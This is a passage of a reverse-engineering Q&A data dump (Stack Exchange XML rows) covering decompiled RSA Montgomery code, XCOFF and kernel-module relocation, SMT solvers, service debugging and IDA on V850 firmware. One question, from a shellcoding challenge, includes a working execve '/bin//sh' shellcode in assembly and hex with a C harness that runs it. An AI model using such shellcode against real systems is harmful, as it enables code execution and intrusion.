{&#xA;            v11 = 0LL;&#xA;            v12 = 0LL;&#xA;            /* loop1: */&#xA;            do {&#xA;                v13 = *(_DWORD *)(a2 + v11) * (unsigned __int64)*(_DWORD *)(a3 + 4 * v10) + v4[v11 / 4] + v12;&#xA;                v4[v11 / 4] = v13;&#xA;                v11 += 4LL;&#xA;                v14 = v13 &amp;gt;&amp;gt; 32;&#xA;                v12 = (unsigned int)v14;&#xA;            } while ( v11 != 4 * v30 + 4 );&#xA;            v15 = (unsigned int)v14 + v8;&#xA;            v16 = v14 + v8;&#xA;            v17 = *v4;&#xA;            v18 = v16 &amp;gt;&amp;gt; 32;&#xA;            v19 = (unsigned int)(v17 * v31);&#xA;            v20 = (v19 * (unsigned __int64)*(_DWORD *)(v6 + 260) + v17) &amp;gt;&amp;gt; 32;&#xA;            if ( v9 &amp;lt;= 1 )&#xA;                goto LABEL_16;&#xA;            v21 = v6 + 264;&#xA;            v22 = v4;&#xA;            /* loop2: */&#xA;            do&#xA;            {&#xA;                v23 = v22[1];&#xA;                v21 += 4LL;&#xA;                ++v22;&#xA;                v24 = v23 + v20 + v19 * *(_DWORD *)(v21 - 4);&#xA;                *(v22 - 1) = v24;&#xA;                v25 = v24 &amp;gt;&amp;gt; 32;&#xA;                v20 = (unsigned int)v25;&#xA;            }&#xA;            while ( v21 != v6 + 4LL * (v9 - 2) + 268 );&#xA;            ++v10;&#xA;            v4[v30] = v15 + v25;&#xA;            v8 = v18 + ((v15 + v25) &amp;gt;&amp;gt; 32);&#xA;        }&#xA;        while ( v9 &amp;gt; (unsigned int)v10 );&#xA;        v26 = 0LL;&#xA;        if ( !v8 &amp;amp;&amp;amp; v32 &amp;gt;= 0 )&#xA;        {&#xA;            result = v32;&#xA;            v28 = &amp;amp;v4[v32];&#xA;            v29 = *(_DWORD *)(4LL * v32 + v6 + 260);&#xA;            if ( *v28 &amp;lt; v29 )&#xA;                return result;&#xA;            if ( *v28 &amp;lt;= v29 )&#xA;            LABEL_16:&#xA;                JUMPOUT(loc_BC46E10);&#xA;        }&#xA;        LODWORD(result) = 0;&#xA;        do&#xA;        {&#xA;            v27 = v4[v26] - (unsigned __int64)*(_DWORD *)(v6 + 4 * v26 + 260) - (unsigned int)result;&#xA;            v4[v26++] = v27;&#xA;            result = (unsigned int)-HIDWORD(v27);&#xA;        }&#xA;        while ( v9 &amp;gt; (unsigned int)v26 );&#xA;    }&#xA;    return result;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16938" LastEditorUserId="16938" LastEditDate="2018-06-08T21:37:25.133" LastActivityDate="2018-06-09T14:44:59.080" Title="Is this Bignum multiplication of 2048 RSA number a Montgomery multiplication?" Tags="|ida|binary-analysis|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="18481" PostTypeId="2" ParentId="18479" CreationDate="2018-06-07T19:18:05.870" Score="6" Body="&lt;p&gt;COFF files were not designed to support relocation after link-time:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The binary format used initially for Linux was an &lt;code&gt;a.out&lt;/code&gt;&#xA;  variant. &lt;strong&gt;When introducing shared libraries certain design&#xA;  decisions had to be made to work in the limitations of&#xA;  &lt;code&gt;a.out&lt;/code&gt;. The main accepted limitation was that no &lt;em&gt;relocations&lt;/em&gt; are performed at the time of loading and afterward.&#xA;  The shared libraries have to exist in the form they are&#xA;  used at run-time on disk.&lt;/strong&gt; This imposes a major restriction on the way shared libraries are built and used: every&#xA;  shared library must have a fixed load address; otherwise it&#xA;  would not be possible to generate shared libraries which&#xA;  do not have to be relocated.&lt;sup&gt;1&lt;/sup&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;While XCOFF represents an extension of COFF that does support use of shared libraries, the relocation information removed by &lt;code&gt;strip&lt;/code&gt; pertains to information used for link-time relocation rather than load- or run-time relocation:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;blockquote&gt;&#xA;  &lt;p&gt;Reduces the size of an Extended Common Object File Format (XCOFF) object file by removing information used by the binder and symbolic debug program.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;blockquote&gt;&#xA;  &lt;p&gt;The binder uses the relocation information to modify address constants and other relocatable values when individual XCOFF object files are linked to create an XCOFF executable file.&lt;sup&gt;2&lt;/sup&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The binder appears to play a role similar to that of the link editor &lt;a href=&quot;http://man7.org/linux/man-pages/man1/ld.1.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;ld&lt;/code&gt;&lt;/a&gt; on Linux systems. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;See the description of the &lt;code&gt;-x&lt;/code&gt; flag:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Removes the symbol table information but does not remove static or external symbol information. &lt;strong&gt;The -x flag also removes relocation information, therefore linking to the file would not be possible.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://software.intel.com/sites/default/files/m/a/1/e/dsohowto.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;How to Write Shared Libraries&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.ibm.com/support/knowledgecenter/en/ssw_aix_71/com.ibm.aix.files/XCOFF.htm#XCOFF__sua3i125jbau&quot; rel=&quot;nofollow noreferrer&quot;&gt;Relocation Information for XCOFF File (reloc.h)&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="18317" LastEditorUserId="18317" LastEditDate="2018-06-07T21:47:01.737" LastActivityDate="2018-06-07T21:47:01.737" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18482" PostTypeId="1" AcceptedAnswerId="18485" CreationDate="2018-06-07T19:19:58.053" Score="4" ViewCount="121" Body="&lt;p&gt;Assuming I have the following scenario:&#xA;I have spotted a vulnerability in a specific function deep inside of an executable (DLL). To get that code path executed (in a vulnerable context) I need to feed the program with very specific input that depends on the flow paths and checked performed at different phases in the program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm looking for are some guidelines, books, material I could research which can explain me what approaches exist and how to get there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks and Regards,&#xA;Daniel&lt;/p&gt;&#xA;" OwnerUserId="24637" LastEditorUserId="2147" LastEditDate="2018-06-08T02:33:16.967" LastActivityDate="2018-07-22T11:55:26.163" Title="Automatically find intput required to trigger a specific code path in a program" Tags="|ida|exploit|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="18483" PostTypeId="2" ParentId="18479" CreationDate="2018-06-07T20:12:49.380" Score="2" Body="&lt;p&gt;apparently the &lt;a href=&quot;https://www.ibm.com/support/knowledgecenter/en/ssw_aix_71/com.ibm.aix.files/XCOFF.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;XCOFF format&lt;/a&gt;  has a separate section for dynamic linker (&lt;em&gt;system loader&lt;/em&gt;):&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;h1&gt;Loader Section (loader.h)&lt;/h1&gt;&#xA;&lt;p&gt;The loader section contains information required by the system loader&#xA;to load and relocate an executable XCOFF object. The loader section is&#xA;generated by the binder. The loader section has an s_flags section&#xA;type flag of STYP_LOADER in the XCOFF section header. By convention,&#xA;.loader is the loader section name. The data in this section is not&#xA;referenced by entries in the XCOFF symbol table.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Presumably this one is not removed by &lt;code&gt;strip&lt;/code&gt;, so the file still works.&lt;/p&gt;&#xA;&lt;p&gt;See also similar question on what happens with &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/2539/what-symbol-tables-stay-after-a-strip-in-elf-format&quot;&gt;stripped ELF files&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2018-06-07T20:12:49.380" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18484" PostTypeId="2" ParentId="18475" CreationDate="2018-06-07T20:58:16.317" Score="4" Body="&lt;p&gt;Linux kernel modules are &lt;strong&gt;not&lt;/strong&gt; shared objects and don't use dynamic relocations, although they may look a little similar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;file&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;rootkit: ELF 32-bit LSB &lt;strong&gt;relocatable&lt;/strong&gt;, Intel 80386, version 1 (SYSV), BuildID[sha1&#xA;  ]=5552f893cf02ce13e9a183af3b6717e884493ead, not stripped&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;readelf -h&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;Type:                              REL (Relocatable file)&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So it's a &lt;strong&gt;relocatable object&lt;/strong&gt;, and by stripping it you remove information necessary for its functioning.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the &lt;a href=&quot;https://www.tldp.org/HOWTO/html_single/Module-HOWTO/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Linux Loadable Kernel Module HOWTO&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How that relocation happens is fundamentally different between Linux&#xA;  2.4 and Linux 2.6. In 2.6, &lt;code&gt;insmod&lt;/code&gt; pretty much just passes the verbatim contents of the LKM file (.ko file) to the kernel and &lt;strong&gt;the kernel does the relocation.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;About relocation resolution by IDA:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the real address of the symbols is not known until runtime but the user expects to see nice names in the disassembly, IDA's ELF loader creates a fake segment (&quot;extern&quot;) and fills it with placeholders for the external symbols. The relocatable bytes are then patched to point to those fake symbols.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2018-06-07T20:58:16.317" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="18485" PostTypeId="2" ParentId="18482" CreationDate="2018-06-08T02:24:33.090" Score="2" Body="&lt;p&gt;One common method of finding out the needed input to reach a specific execution flow (or a target instruction/function) is done using &lt;a href=&quot;https://en.wikipedia.org/wiki/Satisfiability_modulo_theories&quot; rel=&quot;nofollow noreferrer&quot;&gt;SMT solvers&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SMT solvers are programs that accept a set of symbols, potentially conflicting conditions and a set of defined operations between them, as well as a desired outcome/target. An SMT solver will attempt to provide a &quot;solution&quot; to the given constraints, in the defined domain space.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As mentioned, this topic is tightly related to &lt;a href=&quot;/questions/tagged/fuzzing&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;fuzzing&amp;#39;&quot; rel=&quot;tag&quot;&gt;fuzzing&lt;/a&gt; and symbolic execution, of course. That is also the main context in which SMT solvers (and similar techniques/approaches) are used in the security industry. Couple folks in the industry have also spent a lot of their time on that, namely &lt;a href=&quot;https://reverseengineering.stackexchange.com/users/182/rolf-rolles&quot;&gt;Rolf Rolles&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a few SMT solvers that are commonly used in the security industry community (that I'm aware of):&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/Z3Prover/z3&quot; rel=&quot;nofollow noreferrer&quot;&gt;Z3&lt;/a&gt; by Microsoft is a widely known one. &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://triton.quarkslab.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Triton&lt;/a&gt; is another.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://angr.io&quot; rel=&quot;nofollow noreferrer&quot;&gt;angr&lt;/a&gt; is a library focused on lifting assembly to IR and solving constraints.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Additionally, there are a &lt;s&gt;bunch&lt;/s&gt; ton of solvers over at the &lt;a href=&quot;https://en.wikipedia.org/wiki/Satisfiability_modulo_theories#SMT_solvers&quot; rel=&quot;nofollow noreferrer&quot;&gt;wiki page&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2018-07-22T11:55:26.163" LastActivityDate="2018-07-22T11:55:26.163" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18486" PostTypeId="2" ParentId="15310" CreationDate="2018-06-08T03:03:10.703" Score="1" Body="&lt;p&gt;&lt;em&gt;This answer ignores the case of shared services, since that is more elaborate and OP did not mention that specifically.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Services are usually normal processes like any other process, however they are executed by the operating system and not the creating/starting process, which may be a cause for some confusion.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;How to debug services?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Like any other process, you can either attach to it after its running most (read: all decent) debuggers support attaching (and putting protected process services aside) can be attached to.&#xA;If you fear you'd miss some crucial part of the execution before you get to attach you could use tools that let you debug spawned processes. Ollydbg supports that as well as x64. And Rohitab's API Monitor has decent capabilities when it comes to detecting and attaching to new processes.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;but why execution stopped after calling &lt;code&gt;StartServiceCtrlDispatcher&lt;/code&gt;?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;However, when dealing with most malware samples it'll be good enough to just create the process yourself and skip any service related functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems that your specific issue is with the execution of the &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms686324(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;StartServiceCtrlDispatcher&lt;/code&gt;&lt;/a&gt; function, which is the function called &lt;em&gt;by the service entry point&lt;/em&gt; in order to register connect back to the service manager. That connection to the service manager is how the service reports it has be successfully load and functional, how it gets commands to shutdown, restart etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;StartServiceCtrlDispatcher&lt;/code&gt; has a single parameter which is the &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms686001(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;SERVICE_TABLE_ENTRY&lt;/code&gt;&lt;/a&gt; structure. It has two members, the second of which is of type &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms685138(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;LPSERVICE_MAIN_FUNCTION&lt;/code&gt;&lt;/a&gt; and called &lt;code&gt;lpServiceProc&lt;/code&gt;. That parameter is actually a function pointer to the &lt;code&gt;ServiceMain&lt;/code&gt; function. Pick it up, parse the structure and you'll get to where execution will be given back to the service in order to continue execution!&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;VM, why you no run?!&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Well, unfortunately you did not provide enough details to diagnose that one.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2018-06-08T03:03:10.703" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18487" PostTypeId="2" ParentId="14820" CreationDate="2018-06-08T03:16:37.947" Score="3" Body="&lt;ul&gt;&#xA;&lt;li&gt;There is leaked source code of windows 2000. I don‘t know if it covers those utilities. &lt;/li&gt;&#xA;&lt;li&gt;Also the reactos project (an open source reimplementation of windows) is usually very faithful to the original.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Both source codes are not exactly what you seek, but might give you an idea what to expect when you reverse engineer the real thing.&lt;/p&gt;&#xA;" OwnerUserId="23656" LastActivityDate="2018-06-08T03:16:37.947" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18490" PostTypeId="2" ParentId="16431" CreationDate="2018-06-08T16:05:16.740" Score="2" Body="&lt;p&gt;Some RFID cards indeed only provide their IDs. IDs are then matched to a database to say, decide if a door should be opened. It's really up to the card.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The two ways I can think of to identify the card's capabilities is either traced it back to the manufacturer (who bought it? What model/type of card was it?) or break it and find the chip and look at it under a microscope.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2018-06-08T16:05:16.740" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18491" PostTypeId="2" ParentId="18480" CreationDate="2018-06-09T07:09:13.917" Score="4" Body="&lt;p&gt;The structure seems to resemble a Montgomery CIOS implementation&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/5gJUp.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/5gJUp.jpg&quot; alt=&quot;CIOS Montgomery&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the paper on Researchgate: &lt;a href=&quot;https://www.researchgate.net/profile/JV_Mccanny/publication/4123255_Coarsely_integrated_operand_scanning_CIOS_architecture_for_high-speed_Montgomery_modular_multiplication/links/56d9c15d08aebe4638bb9776/Coarsely-integrated-operand-scanning-CIOS-architecture-for-high-speed-Montgomery-modular-multiplication.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Coarsely Integrated Operand Scanning &lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More references on CIOS Montgomery: &lt;a href=&quot;https://www.microsoft.com/en-us/research/wp-content/uploads/1996/01/j37acmon.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.microsoft.com/en-us/research/wp-content/uploads/1996/01/j37acmon.pdf&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16938" LastEditorUserId="16938" LastEditDate="2018-06-09T14:44:59.080" LastActivityDate="2018-06-09T14:44:59.080" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18492" PostTypeId="1" AcceptedAnswerId="18508" CreationDate="2018-06-09T17:18:17.187" Score="7" ViewCount="1034" Body="&lt;p&gt;Currently working through an introductory shellcoding challenge, and having trouble getting the shellcode to work consistently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm working on a 32bit Linux binary. I found this shellcode:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://shell-storm.org/shellcode/files/shellcode-827.php&quot; rel=&quot;noreferrer&quot;&gt;http://shell-storm.org/shellcode/files/shellcode-827.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;xor    %eax,%eax&#xA;push   %eax&#xA;push   $0x68732f2f&#xA;push   $0x6e69622f&#xA;mov    %esp,%ebx&#xA;push   %eax&#xA;push   %ebx&#xA;mov    %esp,%ecx&#xA;mov    $0xb,%al&#xA;int    $0x80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As a first step, I ran the shellcode in a simple test program:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include&amp;lt;stdio.h&amp;gt;&#xA;#include&amp;lt;string.h&amp;gt;&#xA;&#xA;unsigned char code[] = \ &#xA;&quot;\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69&quot;&#xA;&quot;\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80&quot;;&#xA;&#xA;main()&#xA;{&#xA;    printf(&quot;Shellcode length: %d\n&quot;, strlen(code));&#xA;    int (*ret)() = (int(*)())code;&#xA;    ret();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Shellcode works perfectly in this test program. Problems start when I move the shellcode into the actual challenge binary. I can confirm in GDB that:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Code execution is re-directed into the stack.&lt;/li&gt;&#xA;&lt;li&gt;The shellcode assembly is correct in the stack.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;However, when program execution gets to one of these two lines in the shellcode:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0xffffd0e4:    push       %ebx&#xA;0xffffd0e5:    mov        %esp,%ecx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SIGSEGV, Segmentation fault&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My question is: why does shellcode that works in a test program fail in the actual binary? How would I go about troubleshooting this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="24160" LastActivityDate="2018-06-12T05:35:38.990" Title="Shellcode challenge - shellcode works in test program, segfaults in actual binary" Tags="|shellcode|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="18493" PostTypeId="1" CreationDate="2018-06-09T20:05:11.623" Score="0" ViewCount="1503" Body="&lt;p&gt;I'm trying to reverse a V850E binary (it was extracted from an official update), however, IDA doesn't recognize anything at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to do that, I select a V850 or V850E1 processor type and leave disassembly memory organization as is by default. IDA gives a message &quot;IDA can not identify the entry point automatically as there is no standard of binaries. Please move to what you think is an entry point..&quot;. I click OK and all I see is one unexplored piece.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/HYQa7.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/HYQa7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;I came across several examples for V850 when there was no initial information on the entry point location as well, but IDA in their case was able to recognize pieces of code like this:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/z3wNx.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/z3wNx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;I tried another binary for V850 from completely another firmware and I got the same result - nothing is identified!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some observations:&lt;br&gt;&#xA;- I tried using radare2 software and it was able to recognize the majority of the code&lt;br&gt;&#xA;- I tried using another processor type in IDA (e.g. MetaPC) for the same binary and IDA was able to recognize a lot.&lt;br&gt;&#xA;- First 17FF lines of the binary are zeros. I don't know if it's a placeholder for the bootloader or something else and it imposes any problems on IDA.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts?&lt;/p&gt;&#xA;" OwnerUserId="24641" LastEditorUserId="24641" LastEditDate="2018-06-10T00:48:50.733" LastActivityDate="2019-07-12T09:52:41.797" Title="IDA: NEC V850. Unable to identify anything" Tags="|ida|decompilation|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18494" PostTypeId="2" ParentId="12359" CreationDate="2018-06-10T01:24:35.917" Score="1" Body="&lt;p&gt;&lt;em&gt;disclaimer:&lt;/em&gt; Since the VB file structure is still undocumented, we cannot provide guaranteed answers without fully reverse engineering the format. This has been attempted to some success by Ionescu and others as you and others have mentioned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will attempt to answer your questions to the best of my ability without opening any reverse engineering tools. If you would like to ask how would someone go about reverse engineering the VB file format and related executables I would suggest opening another question on the subject specifically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, without further ado, my answers (read: educated guesses):&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;As an undocumented format not only we cannot offer a guaranteed &quot;yes&quot;, the format and/or those assumptions could potentially be changed in future versions. This is unlikely to ever happen for a format as old as VB6, extremely so since it was abandoned. This seems like a fair assumption to make in this case.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Since &lt;code&gt;ObjectInfo&lt;/code&gt;s and &lt;code&gt;PublicObjectDescriptor&lt;/code&gt; structures are separate, I can assume &lt;code&gt;null&lt;/code&gt; values in an &lt;code&gt;ObjectInfo.lpMethods&lt;/code&gt; array are to indicate a method (defined by name in the &lt;code&gt;PublicObjectDescriptor&lt;/code&gt;) is not implemented by the &lt;code&gt;ObjectInfo&lt;/code&gt;. This is, again, an educated guess and further reverse engineering should be done to validate it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I believe that since &lt;code&gt;PublicObjectDescriptor&lt;/code&gt; takes the role of an externally facing object description, it is used to describe the object in full. &lt;code&gt;ObjectInfo&lt;/code&gt; is somewhat more external and specific for the &lt;code&gt;p-code&lt;/code&gt; portions of the object. Therefore, and object that's fully implemented in &lt;code&gt;p-code&lt;/code&gt; will have it's &lt;code&gt;ObjectInfo.wMethodCount&lt;/code&gt; equal to it's &lt;code&gt;PublicObjectDescriptor.dwMethodCount&lt;/code&gt; while an object that is partially (or fully) implemented natively will have a higher &lt;code&gt;PublicObjectDescriptor.dwMethodCount&lt;/code&gt; than  &lt;code&gt;ObjectInfo.wMethodCount&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2018-06-10T01:24:35.917" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18495" PostTypeId="2" ParentId="1347" CreationDate="2018-06-10T01:43:23.207" Score="3" Body="&lt;p&gt;A new tool that's actively developed on github is &lt;a href=&quot;https://github.com/IDArlingTeam/IDArling&quot; rel=&quot;nofollow noreferrer&quot;&gt;IDArling&lt;/a&gt; (Previously called IDAConnect). According to its developers, Alexandre Adamskiand and Joffrey Guilbon, it's inspired by &lt;a href=&quot;https://solidarity.re/&quot; rel=&quot;nofollow noreferrer&quot;&gt;SolIDArity&lt;/a&gt; (which made some noise in 2016 but was never released) and other projects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is an IDA python project that although according to maintainers is still a work in progress, already gained a small user base and is quite functional and useable nowadays.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unlike a lot of other projects, (at least for now, 4th quarter of 2018) it sees commits on a daily/weekly basis. It was also &lt;a href=&quot;https://www.hex-rays.com/contests/2018/index.shtml#idarling&quot; rel=&quot;nofollow noreferrer&quot;&gt;awarded&lt;/a&gt; with first prize in 2018's IDA plugin contest.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have not yet had the pleasure of using it.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="18563" LastEditDate="2019-01-17T07:04:00.997" LastActivityDate="2019-01-17T07:04:00.997" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18496" PostTypeId="2" ParentId="10901" CreationDate="2018-06-10T02:25:55.797" Score="1" Body="&lt;p&gt;Both hooks and debuggers are easy enough to detect if you're looking for them. Using API in order to read the debugee's memory by the debugger is no real disadvantage, in my opinion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I find debugging to be more documented, resilient and OS supported than any manual hooking.&#xA;Although Microsoft for example provides the Detours hooking library, this is still not a functionality supported by the OS and Microsoft highlights that usage of hooking is discouraged.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The major reason I often see hooking being used instead of debugging is for the following reasons:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Monitoring the entire system is required instead of specific processes.&lt;/li&gt;&#xA;&lt;li&gt;There's no need to trace the full flow of execution, but instead only record specific events (such as network communication, for example).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Although hooking could potentially be used for debugging, these two techniques are usually used for completely different things. &lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2018-06-10T02:25:55.797" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18498" PostTypeId="1" CreationDate="2018-06-10T18:39:48.777" Score="1" ViewCount="528" Body="&lt;p&gt;I have one &lt;code&gt;.exe&lt;/code&gt; file which is generated from &lt;code&gt;.jar&lt;/code&gt; file but I'm not sure how it was made. I cannot open it with winrar or something. I need to modify it or just to decompile it. Any answer should be helpful.&lt;/p&gt;&#xA;" OwnerUserId="24659" LastEditorUserId="2147" LastEditDate="2018-06-10T22:22:01.003" LastActivityDate="2018-06-10T22:22:01.003" Title="Decompiling or modifying .exe file generated from .jar" Tags="|decompilation|jar|exe|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
